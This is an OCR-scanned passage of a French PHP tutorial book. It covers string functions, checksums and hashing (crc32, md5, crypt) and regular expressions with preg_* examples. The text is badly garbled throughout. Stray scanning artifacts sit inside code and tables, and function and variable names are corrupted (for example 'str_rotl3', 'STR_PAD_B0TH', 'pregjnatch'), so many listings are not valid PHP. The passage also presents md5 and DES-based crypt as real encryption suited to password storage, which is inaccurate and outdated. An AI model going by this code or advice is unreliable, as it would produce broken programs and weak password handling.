echo ucfirst($chaine) ."<br />\n"; 
echo ucwords ($chai ne) . "<br />\n"; 

?> 

Et voici le resultat obtenu : 

cette chaine sera transformee. 

CETTE CHAINE SERA TRANSFORMEE. 

Cette ChaiNe serA transFormee. 

Cette ChaiNe SerA TransFormee. 
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7.6. Insertion de motifs 



chunk_split() 

Retourne une chaine de caracteres dans laquelle un motif (par defaut, un retour a la ligne) a ete 
insere a espaces reguliers. 



Syntaxe string chunck_spl it(string $chaine [, int $pas [, string 

$separateur]] ) 

$ c h a i n e Chaine de caracteres a transformer. 

$pas Nombre de caracteres apres lesquels inserer le separateur. (par defaut 73). 

$separateur Caracteres utilises pour separer deux blocs, 

retour La chaine transformee. 



Voici un script d'exemple (ires simple) : 

Listing 7.23 : chunk split 

<?php 

echo chunk_spl it("abcdefghi jklmnopqrstuvwxyz0123456789",6,"<br />\n") ; 
echo chunk_spl i t ("alb2233e34" ,2, " : ") ; 

?> 

Et le resultat obtenu : 

abcdef 
ghi jkl 
mnopqr 
stuvwx 
yz0123 
456789 

al:b2:23:3e:34: 



wordwrap () 

Permet d'inserer des coupures regulierement. 

Syntaxe string wordWrap(string $chaine [, int $largeur [, string 

$cassure [, bool $coupure]]]) 

$ c h a i n e Chaine de caracteres a transformer. 

$1 argeur Nombre de caracteres apres lesquels inserer les caracteres de cassure (73 

par defaut). 

$cassure Chaine de caracteres servant a la cassure (\n par defaut). 

$coupure Indique si un mot doit etre ou non coupe, 

retour La chaine de caracteres transformee. 
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str_pad() 

Permet de completer une chaine de caracteres par un motif. 

Syntaxe string str_pad (string $chaine, int $1 ongueurFi nal e [, string 

$motif [, int $al ignement]] ) 

$ c h a i n e Chaine de caracteres a transformer. 

$longueurFinale Longueur que f era la chaine de caracteres apres transformation. 

$moti f Motif pour le remplissage (caractere d'espacement par defaut). 

$al ignement Auchoix: 

S TR_PAD_R I GHT (par defaut), si le motif doit etre repete a droite de la 
chaine. 

STR_PAD_LEFT, si le motif doit etre repete a gauche de la chaine. 
STR_PAD_BOTH, si le motif doit etre repete de part et d'autre de la chaine. 

retour La chaine de caracteres transformee. 

Voici un script d'exemple tres simple : 

Listing 7.24 : strpad.php 

<?php 

echo "[".str_pad("Cool", 10)."]\n"; 

echo "[".str_pad("Cool", 10, " ", STR_PAD_LEFT) . "] \n" ; 

echo "[".str_pad("Cool", 10, " ", STR_PAD_B0TH) . "] \n" ; 

echo "[".str_pad("Cool", 10, "-=", STR_PAD_B0TH) . "] \n" ; 



? 



Et le resultat obtenu : 
[Cool ] 



CD 03 
"O 3— 

.1 1 Cool] 
2 S [ Cool ] 

|.« [—cool—] 
i= -a 

E 03 

CU <£ 
_J CO 



7.7. Fusion et decoupe 

implode () 

Permet, a partir d'un tableau, de reconstituer une chaine de caracteres. 
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Syntaxe string impl ode( [stri ng $entreEl ements,] array $tableau) 

$entreEl ements Chaine de caracteres a placer entre deux elements du tableau. Chaine vide 
par defaut depuis PHP 4.3.0. 

$tabl eau Tableau de chaines de caracteres. 

retour La chaine de caracteres reconstituee. 



Listing 7.25 : explode.php 

<?php 

print_r(expl ode("\n" , "Ceci \nest\nune\nphrase en pi usieurs\nl ignes") ) ; 
pri nt (impl ode (" ", 

explode("\n" , "Ceci \nest\nune\nphrase en pi usieurs\nl ignes")) ) ; 

?> 



Voici le resultat de ce script : 

Array 
( 

[0] => Ceci 

[1] => est 

[2] => une 

[3] => phrase en plusieurs 

[4] => 1 ignes 

) 

Ceci est une phrase en plusieurs 1 ignes 



explode () 



Permet de retourner un tableau contenant les morceaux de chaines separes par un delimiteur 
defini par le programmeur. 

Syntaxe array explode(string $separateur, string $chaine [, int 

$limite]) 

$separateur Chaine de caracteres separant les differents blocs. 

$ c h a i n e Chaine de caracteres a transformer. 

$limite Nombre maximal de blocs, le restant etant mis dans le dernier bloc. ™ g 

retour Le tableau indexe en question. 



o o 



strtok() 

Permet de parcourir une chaine morceau par morceau, par appels successifs a la fonction. 
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CD q) 

= '£ 

o o 



.S- as 
£= -a 

g jg Element 
cu <£ 2 

_J CO 



Syntaxe string strtok (string $chaine, string $separateur) 

$ c h a i n e Chaine de caracteres a parcourir. 

$separateur Definit les caracteres separant deux morceaux ; n'importe lequel des 

caracteres de separation est considere comme une coupure entre deux 
sous-chaines. 

retour Un des morceaux. 

Voici quelques exemples : 

Listing 7.26 : strtok.php 

<?php 

//exemple 1 

$sousChaine=strtok("Element l|Element 2|Element 3","|"); 

while ($sousChaine) { 

echo $sousChai ne. "<br />\n"; 

$sousChaine=strtok(" | ") ; 

} 

//exemple 2 

$sousChaine=strtok("Element 1| Element 2|Element 3"," |"); 

while ($sousChaine) { 

echo $sousChai ne. "<br />\n"; 

$sousChaine=strtok(" |"); 

} 

//exemple 3 

echo strtok("Element 1| Element 2|Element 3","|")."<br />\n"; 
echo strtok(" ")."<br />\n"; 
echo strtok("n") . "<br />\n"; 

?> 

Et voici le resultat : 

Element 1 
Element 2 
Element 3 
Element 
1 



Element 

3 

Element 1 
Element 
2 | El erne 
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Autres... 

str_repeat() 

Permet de repeter une chaine. 

Syntaxe string str_repeat (stri ng $chaine, int $nb) 

$ c h a i n e Chaine de caracteres a repeter. 

$nb Nombre de fois ou la chaine doit etre repetee. 

retour La chaine de caracteres repetee. 

Voici un code d'exemple : 
Listing 7.27 : str_repeat.php 

<?php 

echo str_repeat(":-",20); 
echo str_repeat(" :-) ",10); 

?> 

Et le resultat correspondant : 



:-) :-) :-) :-) :-) :-) :-) :-) :-) :-) 



strrev() 

Retourne une chaine de caracteres dans laquelle l'ordre des caracteres a ete inverse. 



Syntaxe string strrev (string $chaine) 

$chaine Chaine a retourner. 

retour Chaine inversee. 



cj o 



Voici un exemple : ™ 5? 

<?php 

$chaine="Et se resservir ivresse reste"; 

echo $chaine."<br />\n"; 

echo strrev($chaine) . "<br />\n"; 

function estUnPal i ndrome($chai ne) { 

return ($chaine==strrev($chaine)) ? "$chaine est un palindrome" : 
"$chaine n'est pas un palindrome"; 

} 
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echo estUnPal i ndromeC'i ci ") . "<br />\n"; 
echo estUnPal i ndrome("chocol at") . "<br />\n"; 
echo estUnPal i ndrome(" radar") . "<br />\n"; 
echo estUnPal i ndrome(" rotor") . "<br />\n"; 
echo estUnPal i ndrome("voi ture") . "<br />\n"; 

?> 

dont voici le resultat : 

Et se resservir ivresse reste 
etser esservi rivresser es tE 
i ci est un palindrome 
chocolat n'est pas un palindrome 
radar est un palindrome 
rotor est un palindrome 
voiture n'est pas un palindrome 



03 qj 



,03 
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str_rotl3() 



Effectue une permutation circulaire sur les lettres de 1'alphabet, chacune des lettres etant 
decalee de treize places ; ainsi 'a' deviendra 'n'. 

Syntaxe string str_rotl3 (stri ng $chaine) 

$ c h a i n e Chaine de caracteres a transformer, 

retour Chaine de caracteres transformee. 

Voici un script d'exemple : 
Listing 7.28 : str rotl 3.php 



<?php 

echo str_rotl3 ("abcdefghi j klmnopqrstuvwxyz") . "\n" ; 
i| 2 echo str_rot 13 ("ABCDEFGHI J KLMNOPQRSTUVWXYZ") . "\n" ; 

echo str_rotl3 (str_rotl3 ("abcdefghi j klmnopqrstuvwxyz") ) . "\n" 

?> 



dont le resultat est : 

nopqr st u vwxyzabcdef gh i j kl m 
NOPQRSTUVWXYZABCDEFGHIJKLM 
abcdef gh i j kl mnopqr stu vwxyz 



ACryptage 
Meme si cela pourrait ressembler a une fonction de cryptage, iln'en est rien vu que 
ATTENTION cette fonction est tres facilement reversible (il suffit de I'appliquer a elle-meme). 
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Somme de controle et cryptage 



crc32() 

Calcul d'une somme de controle sur 32 bits de la chaine de caracteres. Ce calcul est 
particulierement utile pour verifier qu'une chaine de caracteres n'a pas ete alteree (suite a une 
deficience logicielle ou materielle, ou encore a un acte de malveillance). 

Syntaxe int crc32 (string $chaine) 

$ c h a i n e Chaine dont vous souhaitez la "checksum" . 

retour Checksum sur 32 bits. 

Voici un exemple : 

Listing 7.29 : crc32.php 

<?php 

echo crc32("Chaine de caracteres"); 
echo "<br />\n"; 
echo crc32("Chaine") ; 
echo "<br />\n"; 
echo crc32("Test") ; 

?> 

dont le resultat serait : 

169821353 

-1820961062 

2018365746 



md5() 



Retourne une version cryptee d'une chaine de caracteres basee sur le calcul du md5 (chaine 
hexadecimale de 32 caracteres). 2J 5T 

03 — . 
Ci o 

Syntaxe string md5 (string $chaine) co- = 

CO °~ 

$ c h a i n e Chaine de caracteres dont vous souhaitez calculer le md5 . v> ™ 

retour md5 de la chaine. 

Listing 7.30 : md5.php 

<?php 

echo md5("Calcul de md5"); 
echo "<br />\n"; 

echo md5("Un autre calcul de md5"); 

?> 
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dont le resultat est : 

15c620ee8e52f6143383138a079bf54b 
05c411550c749adc841fa0f2f9a2ccl3 



crypt() 

Retourne une version cryptee d'une chaine de caracteres basee sur la fonction d'encryptage DES. 

Syntaxe string crypt (stri ng $chaine [, string $sel]) 

$chai ne Chaine dont vous souhaitez le cryptage. 

$sel Chaine de deux caracteres permettant de calculer la cle (si aucune n'est 

fournie, PHP se charge d'en creer une aleatoirement). Pour comparer une 
chaine a une chaine cryptee, vous devrez utiliser comme valeurs les deux 
premiers caracteres de la chaine cryptee (ou la chaine cryptee entiere, 
sachant que seuls les deux premiers caracteres seront pris en compte). 

Retour Cle obtenue a partir de la chaine de caracteres et du 'sel'. 

Listing 7.31 : crypt.php 

<?php 

SmotDePasselnitiale = "motDePasse" ; 
$cle = crypt($motDePasseInitiale) ; 
echo $cle."<br />\n"; 
SmotDePassePropose = "motDePasse"; 
if (crypt($motDePassePropose, $cle) == $cle) 
echo "Le mot de passe est bon"; 

el se 

echo "Le mot de passe est faux"; 

?> 

Le resultat est : 

t.Gvi9zyHUxp2 

Le mot de passe est bon 



Cryptologie 

Les fonctions md5 ( ) et crypt ( ) sont de veritables fonctions de cryptage. De cefait, 
elles ne sont pas reversibles. La comparaison d'une chaine de caracteres avec une 
autre stockee sous sa forme cryptee doit toujours sefaire en cryptant la chaine fournie, 
et en comparant le resultat obtenu avec la version stockee (et non en decryptant la 
version stockee et en comparant le resultat avec la chaine fournie). Pour la fonction 
crypt ( ), qui necessite un parametre supplemental, vous devrez utiliser la version 
cryptee, comme cela est fait dans I'exemple precedent. 
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8. Expressions regulieres 

Une expression reguliere sert a faire l'analyse lexicale (parser) d'une chaine de caracteres. Elle 
va servir, par exemple, a reperer une valeur dans une chaine, ou encore a reperer des 
sous-chaines particulieres. Pour cela, il va falloir definir un motif que Ton appelle 'expression 
reguliere'. 

II existe deux normes pour definir une expression reguliere, Perl et POSIX. Entre Perl et 
POSIX, les differences sont minimes. Si vous connaissez les expressions regulieres du monde 
UNIX, alors vous connaissez deja la norme POSIX. 



Generalities 
La plus simple 

La plus simple des expressions regulieres est une sous-chaine de caracteres composee de 
chiffres, de lettres et d'espaces. 

L'expression reguliere "morceau a rechercher" pourra servir a rechercher la sous-chaine 

"morceau a rechercher" dans une chaine. 



Les metacaracteres 

Le point 

Un caractere tres utile est le point Dans une expression reguliere, il remplace n'importe 
quel caractere. 

Par exemple, "php. est la derniere version" est une expression reguliere pour "PHP3 est 
la derniere version" ou "PHP4 est la derniere version", mais ne fonctionnera pas pour "PHP 10 
est la derniere version", car 10 est sur deux caracteres. (Inversement "php . . est la derniere 
version" fonctionnera pour la version 10, mais pas pour les versions 3 et 4.) 

Utiliser le point tel quel peut poser probleme si 1'on veut rechercher le caractere point, et 
uniquement celui-ci. En effet, pour rechercher "3 . 14", il ne faudra pas ecrire "3 . 14", sans quoi 
les expressions "3F14", "3214", "3:14" seront reconnues par cette expression reguliere. Pour 
utiliser le caractere point, il faut le faire preceder du caractere d'echappement: "\". Pour 
rechercher "3 . 14" il faut done ecrire "3 \ . 14". 

Le point d' interrogation 

Le point d'interrogation permet d'indiquer la presence d'au plus une occurrence d'un 
caractere. Le point d'interrogation est a mettre apres le caractere en question. 

Voici quelques exemples : 

"chaines? de caracteres" reconnaitra "chaines de caracteres" et "chaine de 
caracteres". 

"points? et interrogations?" permettra de reconnaitre "points et interrogations" 
"points et interrogation", "point et interrogations" et "point et interrogation". 
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Pour utiliser le caractere ? en tant que simple caractere (et non comme metacaractere), il faut 
le faire preceder de V. 

Lesigneplus 

Le signe plus (+) permet d'indiquer la presence d'une ou plusieurs occurrences d'un caractere. 
Le signe plus est a mettre apres le caractere en question. 

Voici quelques exemples : 

"whaoo+" reconnaitra "whaoo", "whaooo", "whaoooo" mais pas "whao". 

"coo+l" servira pour reconnaitre "cool", "coool", "cooooooool" ...mais pas "col". 

Pour utiliser le caractere + en tant que simple caractere (et non comme metacaractere), il faut 
le faire preceder de V. 

Le signe multiplier 

Le signe multiplier (*)permet d'indiquer la presence d'aucune, d'une ou de plusieurs 
occurrences d'un caractere. Le signe multiplier est a mettre apres le caractere en question. 

Voici quelques exemples: 

"whao*" reconnaitra "wha", "whao", "whaoo"... 

"cooo*l" servira pour reconnaitre "cool", "coool", "cooooooool"... 

Pour utiliser le caractere * en tant que simple caractere (et non comme metacaractere), il faut 
le faire preceder de V. 

Combinaison de metacaracteres 

Le point peutetre combine avec les signes ?, + ou *. Cela permettra d'indiquer, par exemple, la 
presence de n'importe quel caractere au moins une fois dans le cas du signe +. 

Voici quelques exemples : 

"C'est . *bien" servira pour "C'est tres bien", "C'est vraiment bien", "C'est rien 
bien" et meme "C'est bien". 

Exemples 

Voici une serie d'exemples. Les expressions regulieres peuvent vite devenir complexes a lire ; il 
suffit de proceder par etapes pour eviter les erreurs : 



Tableau 7.5 : Exemples d'expressions regulieres 



Expression 


Definition 


Exemples reconnus 


Exemples non reconnus 


a.z 


Caractere 'a' suivi d'un 


a z 


az 




seul caractere suivi de V 


abz 


abcz 






a_z 


a_-z 






azz 




a\.z 


Caractere 'a' suivi du 
caractere ' . ' suivi de V 


a.z 


abz 



Expressions regulieres 



Expression 


Definition 


Exemples reconnus 


Exemples non reconnus 


a. +z 


Carartprp ^nivi ri'an 


abz 


az 




moins un caractere suivi 


abcz 






de V 


azzz 




a\ -1-7 


narartprp ^iiivi (Tan 

Ucll uULCI C CL OUIVI U ClU 


a z 


<XL 




moins un caractere ' . ' 


a..z 






suivi de V 


a...z 




— 

a\+ + 


— 

Caractere 'a' suivi d'au 


a+z 


az 




moins un caractere '+' 


a+ +z 






suivi de V 


a+ + +z 




ab?c+d*e 


Caractere 'a' suivi d'un 


abcde 


bcde 




ou d'aucun caractere 'b' 


acde 


abed 




puis d'un caractere 'c' ou 


abccccccde 


abde 




plus, puis 


abce 


abbede 




d'eventuellement 1 ou 


abccccce 






plusieurs 'a' puis d'un 'e' 


abcddddde 





Pour affiner la recherche, il est possible de definir certains types de caracteres. 



Tableau 7.6 : Ensembles de caracteres 



Notation Definition 

\d Tout caractere numerique (0, 1 , 2, 3, 4, 5, 6, 7, 8, 9). 

\d Tout caractere non numerique. 

\w Tout caractere alphanumerique et le signe souligne '_'. 

\w Tout caractere qui n'est pas alphanumerique ni le caractere souligne '_'. 

\s Tous les caracteres d'espacement (espace, tabulation, retour chariot) et tout autre 

caractere qui n'utiliserait pas d'encre sur une imprimante. _^ 

\s Tous les caracteres qui ne sont pas des caracteres d'espacement. 3" r- 

\b Tous les caracteres qui entourent un mot (caracteres d'espacement, debut et fin de ™ 3 

ligne, ponctuation). =■ 2. 

\b L'ensemble des caracteres qui ne sont pas dans \b. S % 

a> a: 

\nnn Permet de definir un caractere par son code ASCII en base 8. a § 

CD' 



Voici une nouvelle serie d'exemples illustrant ce que Ton peut definir avec ces ensembles de 
caracteres. 
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Tableau 7.7 : Exemples 



Expression 


Definition 


Exemples reconnus 


Exemples non 

rprnnniK 

1 Cu UMIIUo 


\w+@\w+\.com 


Une serie de caracteres 

a\y\ lui iui i ici iLjUCo yuu j 

puis le signe '@' puis une 
autre serie de caracteres 
alphanumerique (ou '_') 
suivi de ' . com'. 


thomas@toutestfacile 

mm 

. UUI 1 1 


thomas@toutestfacile.fr 

thnmaQ^rTltni itp^tfarilp 

LI IUI 1 1 uoV!ri/ LUU LCo LI aU II C 

toto.com 


\d\d\d\d\d\ 


Un nombre a cinq chiffres. 


01234 
34534 


0123 
abcde 


\b\d\w\D\w\ 
d\s\W\d 


Le debut de ligne suivi d'un 
c h iff re puis d'un caractere 
alphanumerique, puis d'un 
caractere qui n'est pas un 
chiffre, puis d'un caractere 
alphanumerique, puis d'un 
chiffre, d'un caractere 
d'espacement, d'un 
caractere non 


Oabd -2 
0_aa1 %2 


0a1b1 -2 
Oabd d2 



alphanumerique et enfin d'un 
chiffre. 



II est egalement possible de preciser les nombres minimum et maximum d'occurrences d'un 
caractere en utilisant une notation entre accolades, les deux valeurs etant separees par une 
virgule. 

ab{2 , 4}c signifie : un caractere 'a' suivi de deux a quatre caracteres 'b' puis du caractere 'c'. 
Pour permettre une alternative, il suffit d'utiliser le caractere ' | '. 
ab | ac signifie : soit la chaine 'ab', soit la chaine 'ac' et aucune autre. 

Enfin, pour permettre certains caracteres ou une certaine plage de caracteres, on peut utiliser 
des crochets. 

atbcde] f permettra de reconnaitre 'abf', 'acf', 'adf' et 'aef' mais pas 'abcf' par exemple. 

Pour definir une certaine plage de caracteres, il suffit de placer un signe '-' entre les caracteres 
delimitant la plage. 

a [b-e] f est equivalent a l'exemple precedent. 

Pour ajouter le signe '-' a la liste des caracteres possibles, il suffit de le placer juste avant le 
crochet fermant. 

a [b-e-] f permettra de reconnaitre 'abf', 'acf', 'adf', 'aef' et 'a-f'. 

L'utilisation des crochets peut egalement permettre d'exclure certains caracteres en utilisant le 
caractere d'exclusion 

["be] ouie permettra de reconnaitre 'foule', 'roule' mais pas 'boule' ni 'couie' . 

A l'interieur des crochets, les regies d'echappement ne s'appliquent pas de la meme maniere ; 
seuls les caracteres [ , ] et \ doivent etre precede du signe \ . 
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Tableau 7.8 : D'autres exemples 



Expression 


Definition 


Exemples reconnus 


Exemples non 








reconnus 




1 In nnmhrp Hp trniQ a rinn 

Ull IIUIIIUIG UC LIUlO a UIIIL| 


P48D4 


i jj 




caracteres compose de 


8602 


1222 




chiffres pairs. 


666 


20 


La z J _ L u y J t j , j ; 


1 Inp Ipttrp miniiQnilp 

UIIC IGLLIC 1 1 III 1 UobUIC 


a 111 

a III 


7 76^ 




suivie du signe 'J puis 


Ql753 


4_a33 




d'exactement trois 








chiffres. 






[\ [\] \\] + 


Une composition de 


\[]\]Q\][ 


[a] 




caracteres ' [', '] ' et 'V. 


[\] 








\\\]][[[ 




[a-zA-ZO-9 ._-] 


Un ou plusieurs 


livrephp@toutestfacile.com @toutestfacile.com 


+@ [a-zA-ZO-9] + 


caracteres 


manuel@brazil.br 


toto@_.com 


\. [a-zA-Z] {2,3} 


alphanumeriques ou ' . ', 


thomas.heute@toutestfacile 






'J, '-' suivi de '@', de un 


.com 






ou plusieurs caracteres 








alphanumeriques, d'un 








point puis de deux ou trois 








lettres. 







Debut et fin de ligne 

En dehors des crochets, le caractere ' A ' permet de definir le debut d'une chaine. Le caractere 
'$', lui, designe la fin d'une chaine. 

abc reconnaitra "abc", "dabc", "dabce". 

"abc reconnaitra "abc" et "abed". 

A abc$ reconnaitra "abc" (uniquement). =■ " 

CD g 

Les options = 

» s 

Les expressions regulieres Perl sont generalement ecrites entre deux slashes '/'. Les caracteres g E. 

avant le premier slash et ceux apres le dernier permettent de specifier quelques options. 3 =: 

Le caractere avant le premier slash est sans effet avec les fonctions PHP. 

Celui situe apres le dernier slash peut etre par exemple un : 

'i' afin de preciser que la recherche doit etre insensible a la casse. 
■ V afin que le metacaractere ' . ' concerne egalement les retours a la ligne. 
D'autres valeurs encore. 



2 10 

CO CO 
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Les fonctions PHP 

Filtrage par expression reguliere 



preg_grep() 

Retourne un tableau ne contenant que les elements verifiant une expression reguliere. 

Syntaxe array preg_grep (string expReg, array $chaines) 

$expReg L' expression reguliere filtrante. 

$chai nes Chaines de caracteres a verifier. 

retour Tableau sans les valeurs ne verifiant pas l'expression reguliere. 

Listing 7.32 : preg grep.php 

<?php 

$chaines = array ( 
"toto@blabla.fr", 
"toto$bl abl a. fr" , 
"toto$blabla.com", 
" toto_ti ti @bl abl a . com" , 

); 

pri nt_r (preg_grep ("/[a-zA-ZO-9 ._-] +@ [a-zA-ZO-9] +\ . [a-zA-Z] {2,3}/", 
$chaines)) ; 

?> 

dont le resultat est : 

Array 
( 

[0] => toto@blabla.fr 

[3] => toto_titi@blabla.com 

) 



Substitution par expression reguliere 



preg_replace() 



Recherche une portion de chaine de caracteres correspondant a une expression reguliere et la 
remplace. 



Expressions regulieres 



Syntaxe mixed preg_repl ace (mixed $motif, mixed $rempl acement, mixed 

$chaine[, int $1 i mi te] ) 

$moti f L' expression reguliere a rechercher. Peut etre un tableau ; dans ce cas, si 

$remplacement est un tableau, alors les motifs seront remplaces par 
l'element de meme index de $remplacement. 

$rempl acement Chaine de substitution ; si celui-ci est une chaine de caracteres, alors tous 
les motifs trouves seront remplaces par cette chaine. 

$chai ne Chaine de caracteres ou effectuer les modifications. Si $chaine est un 

tableau, alors la recherche s'effectue sur tous les elements du tableau. 

$1 imi te Si cet argument est specifie, alors au plus $limite occurrences seront 

remplacees. 

retour $chaine modifiee (sera un tableau si $chaine en est un). 

Voici un code source d'exemple : 

Listing 7.33 : preg replace.php 

<?php 

echo preg_repl ace("/\d+/" , "...des chiffres. . .", 

"En 2000, 1123442 serveurs ..."). "<br />\n"; 
$chaines=array("En 2000, 1123442 serveurs 

"12 elephants sur un arbre"); 
print_r($chaines) . "<br />\n" ; 

print_r(preg_replace("/\d+/", "...des chiffres...", $chaines)); 
$motifs = array("/([a-zA-Z0-9._-]+)@([a-zA-Z0-9]+)\.com/", 
7([a-zA-Z0-9._-]+)§([a-zA-Z0-9]+)\.fr/"); 
$rempl acement = array("Une adresse en .com", "Une adresse en .fr"); 
$chaine = "test@toutestfacile.com et test@toutestfacile.fr"; 
echo $chaine."<br />\n"; 

print r(preg replace($motifs, $rempl acement, $chaine)); 



dont le resultat est : 

n ...des chiffres..., ...des chiffres... serveurs ...<br /> 
Array 

[0] => En 2000, 1123442 serveurs ... 



cj o 



[1] => 12 elephants sur un arbre co §" 

CO CO 

Array 

[0] => En ...des chiffres..., ...des chiffres... serveurs ... 
[1] => ...des chiffres... elephants sur un arbre 

est@toutestfacile.com et test@toutestfacile.fr<br /> 
Une adresse en .com et Une adresse en .fr 
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Pour reutiliser un motif capture en remplacement, il suffit d'y faire appel avec la syntaxe \ \n, 
ou n est la position du motif capture. Par exemple : 

Listing 7.34 : preg_replace2.php 

<?php 

echo preg_replace("/(\d+)/", "En 2000, 1123442 serveurs ...")• 



dont le resultat est : 

En '2000', '1123442' serveurs ... 

D preg_replace() vs.str_replace() 

Bien qu'il soit possible d'utiliser preg_replace ( ) dlaplacede str_replace (), il 
est tout de meme preferable, pour des raisons de rapidite, d'utiliser 
str_replace ( )lorsque le motif recherche s'avere etre une chaine ne faisant 
intervenir aucun joker. Bien entendu, la difference ne se fera ressentir que si cette 
fonction est appelee de nombreuses fois. 



Cette fonction est semblable a la precedente, si ce n'est qu'elle permet d'appeler une fonction 
avec, en parametre, les motifs captures. 



"<br />\n"; 



?> 



preg_replace_callback() 




Syntaxe 



mixed preg_repl ace_cal 1 back (mixed $motif, mixed $fonction, 
mixed $subject [, int $1 i mi te] ) 



$moti f 



L' expression reguliere a rechercher. Peut etre un tableau ; dans ce cas, si 
$remplacement est un tableau, alors les motifs seront remplaces par 
l'element de meme index de $remplacement. 



$fonction 
$chai ne 



Fonction a appeler qui fera la transformation a partir des motifs captures. 

Chaine de caracteres ou effectuer les modifications. Si $ chaine est un 
tableau, alors la recherche s'effectue sur tous les elements du tableau. 



$1 i mi te 



Si cet argument est specifie, alors au plus $limite occurrences seront 
remplacees. 



retour 



$chaine modifiee (sera un tableau si $chaine en est un). 
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Decoupe par expression reguliere 



preg_split() 



Permet de casser une chaine en sous-elements en precisant le delimiteur par une expression 
reguliere. 

Syntaxe array preg_spl it (string $motif, string $chaine [, int $limite 

[, int $mode]] ) 

$moti f L' expression reguliere qui servira de delimiteur. 

$ c h a i n e Chame de caracteres a casser. 

$1 i mi te Nombre limite de sous-chaines. 

$mode Options pouvant etre cumulees par OU logique ( | ). 

PREG_SPLIT_NO_EMPTY : seules les chaines non vides seront 
retournees. 

PREG_SPLIT_DELIM_CAPTURE : les expressions entre parentheses 
entre les delimiteurs de motifs seront aussi capturees. 

retour Le tableau indexe des sous-chaines. 



Voici un exemple : 



Listing 7.35 : pregsplit.php 

<?php 

print_r(preg_split("/[: ;-]/", "element l:element 2-element 3;element 4")); 

?> 



dont le resultat est : 



Array 
( 



[0] => element 1 ^ § 

[1] => element 2 " -5" 

[2] => element 3 S j 

[3] => element 4 o o 



Extraction par expression reguliere 



2 ™ 

CO CO 



preg_match() 

Recherche un motif dans une chaine de caracteres. 
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Syntaxe int pregjnatch (string $motif, string $chaine [, array 

&$resultat [, int $option]) 

$moti f Le motif a retrouver. 

$ c h a i n e Chaine de caracteres dans laquelle rechercher le motif. 

$resultat Variable dans laquelle sera copie un tableau indexe dont l'element 

d'indice est le motif en entier, l'element 1 le premier element capture 
(entre parentheses), l'element 2 le deuxieme, etc. 

$option Seul preg_offset_capture est disponible. Cette option n'est 

disponible que depuis PHP 4.3.0 

retour Le nombre d'elements captures, ou FALSE si une erreur s'est produite. 



Listing 7.36 : preg_match() 

<?php 

echo preg_match(7([a-zA-Z0-9._-]+)@([a-zA-Z0-9]+)\.([a-zA-Z]{2,3})/", 
"Voici mon adresse: biblephp@exemple.com, el 1 e est bidon",$elements) ; 
pri nt_r($el ements) ; 

?> 



dont le resultat est : 
1 

Array 
( 

[0] => biblephp@exemple.com 
[1] => biblephp 
[2] => exemple 
[3] => com 

) 



03 03 



,03 

1 1 preg_match_all() 



Recherche un motif dans une chaine de caracteres, et reitere la recherche sur tout le reste de la 



S2 cc 
s o 
.Br 03 
c -a 

g g chaine de caracteres. 

_i ro 



Syntaxe int preg_match_al 1 (stri ng $motif, string $chaine, array 

&$resultat [, int $option]) 

$moti f Le motif a rechercher. 

$chai ne La chaine de caracteres a rechercher. 

$resul tat Le tableau ou stocker les resultats. 

$opt i on Permet entre autres de definir l'ordre dans lequel ranger les resultats. Cela 

peut etre defini par les constantes : 

PREG_PATTERN_ORDER : $resultat[0] sera un tableau indexe 
contenant les motifs en entier, $resultat [1] sera un tableau contenant 
les premiers motifs entre parentheses. 
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PREG_SET_ORDER : $resulat[0] sera un tableau des motifs entre 
parentheses de la premiere sous-chaine reconnue. 
PREG_OFFSET_CAPTURE est egalement disponible depuis PHP 4.3.0, 
elle peut etre combinee a l'une des deux precedentes. 

retour Retourne le nombre de motifs retrouves, ou FALSE si une erreur s'est 

produite. 



Listing 7.37 : preg_match_all.php 

<?php 

echo preg_match_al 1 ("/<(\ w *)>([ /v <]*)<\/\ w *>/". 

"<b>Gras</bxi>Ital ique</ixu>Soul igne</u>" , 

$resul tat) . "\n" ; 
print_r($resultat) ; 

echo preg_match_al 1 ("/<(\ w *)>([^<]*)<\/\ w *>/". 

"<b>Gras</bxi>Ital ique</ixu>Soul igne</u>" , 
$resultat, PREG_PATTERN_ORDER )."\n"; 

print_r($resultat) ; 

echo preg_match_al 1 ("/<(\ w *)>([~<]*)<\A w * > /"> 

"<b>Gras</bxi>Ital i que</ixu>Soul igne</u>" , 
$resultat, PREG_SET_ORDER )."\n"; 

print_r($resultat) ; 

?> 



Le resultat de ce script est : 



3 

Array 
( 



[0] => Array 
( 



) 



[0] => <b>Gras</b> 
[1] => <i>Ital ique</i> 
[2] => <u>Soul igne</u> 



[1] => Array 
( 



[0] => b g =■• 

[1] => i CD- = 

^ [2] => u s> I 

[2] => Array 
( 

[0] => Gras 

[1] => I tali que 

[2] => Souligne 



) 
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.5- CD 



E |j [2] => Italique 

) 



CO <= 
_l CO 



r- cj 



3 

Array 
( 



[0] => Array 
( 



) 



[0] => <b>Gras</b> 
[1] => <i>Ital ique</i> 
[2] => <u>Soul igne</u> 



[1] => Array 
( 



) 



[0] => b 
[1] => i 
[2] => u 



[2] => Array 
( 



) 



[0] => Gras 
[1] => Italique 
[2] => Souligne 



) 

3 

Array 
( 

[0] => Array 
( 



8 w ) 

CD m ' 



[0] => <b>Gras</b> 
[1] => b 
[2] => Gras 



CD Qj 
"O i— 

= ■£ 

.2 ^ [1] => Array 

2. cS ( 



[0] => <i>Ital ique</i> 
[1] => i 



[2] => Array 
( 



) 



[0] => <u>Soul igne</u> 

[1] => u 

[2] => Souligne 
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Divers 



preg_quote() 



Permet d'echapper les caracteres speciaux ( . ,\\, +, * ,?, [, A , ] , $, (,),{,},=, !,<,>, | , :) des 
expressions regulieres. 

Syntaxe string preg_quote (string $chaine [, string $del i mi teur] ) 

$chaine Chaine de caracteres dont vous souhaitez echapper les caracteres 

speciaux. 

$del i mi teur Caractere qui sera egalement echappe. 

retour Une chaine de caracteres dont les caracteres ne sont pas des caracteres 

speciaux. 

Voici un court exemple montrant l'importance d'echapper les caracteres speciaux : 

Listing 7.38 : preg quote.php 

<?php 

$chaine="2*3+4"; 

// retournera car 1 'expression reguliere filtre les expressions 
// dont la definition est : 

// "0 ou plus 2 suivi de au moins un 3 et d'un 4" 
echo pregjnatch ("/$chaine/" , "2*3+4") . "\n" ; 

echo preg_quote($chaine) ."\n"; 

// Ici les caracteres + et = seront echappes. 

echo preg_match ("/" .preg_quote($chaine) . "/" , "2*3+4") ; 

?> 



donl le resultat est : 


2\*3\+4 



CD = 



x o o 



Posix 



V) CO 



Les expressions regulieres de POSIX sont tres semblables a celles en Perl ; elles sont utilisees 
sous UNIX pour creer des scripts. 
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Generalites 
La plus simple 

La plus simple des expressions regulieres est une sous-chaine de caracteres composee de 
chiffres, de lettres et d'espaces. 

